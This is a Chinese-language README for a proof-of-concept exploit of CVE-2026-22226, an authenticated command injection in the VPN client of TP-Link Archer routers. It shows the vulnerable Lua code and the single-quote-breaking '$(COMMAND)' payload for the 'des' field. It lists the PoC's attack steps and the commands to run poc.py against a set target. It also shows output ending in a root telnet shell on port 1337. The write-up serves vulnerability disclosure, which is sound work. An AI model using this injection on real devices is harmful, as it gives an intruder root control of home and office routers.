CVE-2026-22226 概念验证
TP-Link Archer Wi-Fi 路由器 VPN 客户端中经过认证的局域网侧操作系统命令注入
VPN 客户端控制器将用户可控的条目描述(des)以较弱的验证正则表达式存储在 UCI 配置中。当该条目随后被读回时(在 WebUI 中编辑时),get_ovpn_data() 会将 des 直接插入到传给 os.execute() 的带引号 shell 命令中,且没有任何净化处理:
-- get_ovpn_data() in vpn.lua
file_ovpn_path_local = string.format("/etc/openvpn/%s%s", des_name, ".ovpn")
cmd = string.format("echo '%s' > %s", file_ovpn_path_local, EXIST_OVPN_CURR_EDIT)
os.execute(cmd)
单引号字符(')能够通过验证正则表达式,足以打破 shell 引号上下文,并通过 $() 替换注入命令。将 des 字段设置为 '$(COMMAND)' 后,命令变为:
echo '/etc/openvpn/'$(COMMAND)'.ovpn' > /tmp/ovpn_curr_edit
请注意,命令输出永远不会在 HTTP 响应中返回,因此该注入是盲注。这就是为什么我们需要一个带外信道(这里的 PoC 脚本会启动一个 telnetd 服务器以获得交互式 shell)。
[!Note] 我只在 TP-Link Archer AX73(AX5400,HW v2.0 EU,固件 v1.2.1 - Build 20250717)上测试过此脚本,但其他 Archer 设备很可能也存在漏洞。
此 PoC 按以下流程进行:
admin 身份向 LuCI 进行认证.ovpn 配置文件des 字段的 VPN 客户端条目,转义单引号上下文并通过命令替换注入我们的载荷get_ovpn_data(),将恶意的 des 输入 os.execute()[!Warning] 利用此漏洞会导致在路由器上以
root身份执行操作系统命令(设备被完全入侵),从而绕过允许单引号字符的des输入验证。
Python 依赖项在脚本中以行内方式声明,因此你可以使用现代 Python 项目管理器直接运行,或使用 pip 手动安装:
# using pipx
pipx run poc.py
# using uv
uv run poc.py
# using pip (legacy) then run with python
pip install requests pycryptodome
python poc.py
在 poc.py 中设置目标 IP、凭据和载荷
运行脚本:
$ pipx run poc.py
INFO:__main__:TP-Link Archer Exploit PoC
INFO:__main__:Authentication ...
INFO:__main__:Authentication ... OK
INFO:__main__:Uploading .ovpn ...
INFO:__main__:Uploading .ovpn ... OK
INFO:__main__:Inserting VPN entry ...
INFO:__main__:Inserting VPN entry ... OK
INFO:__main__:Triggering command injection ...
INFO:__main__:Triggering command injection ... OK
INFO:__main__:Cleaning up ...
INFO:__main__:Cleaning up ... OK
$ telnet 192.168.0.1 1337
BusyBox v1.19.4 (2025-07-17 10:58:00 CST) built-in shell (ash)
Enter 'help' for a list of built-in commands.
/www # id
uid=0(root) gid=0(root)
/www # uname -a
Linux Archer AX73 4.19.183 #1 SMP PREEMPT Thu Jul 17 10:22:47 CST 2025 armv7l GNU/Linux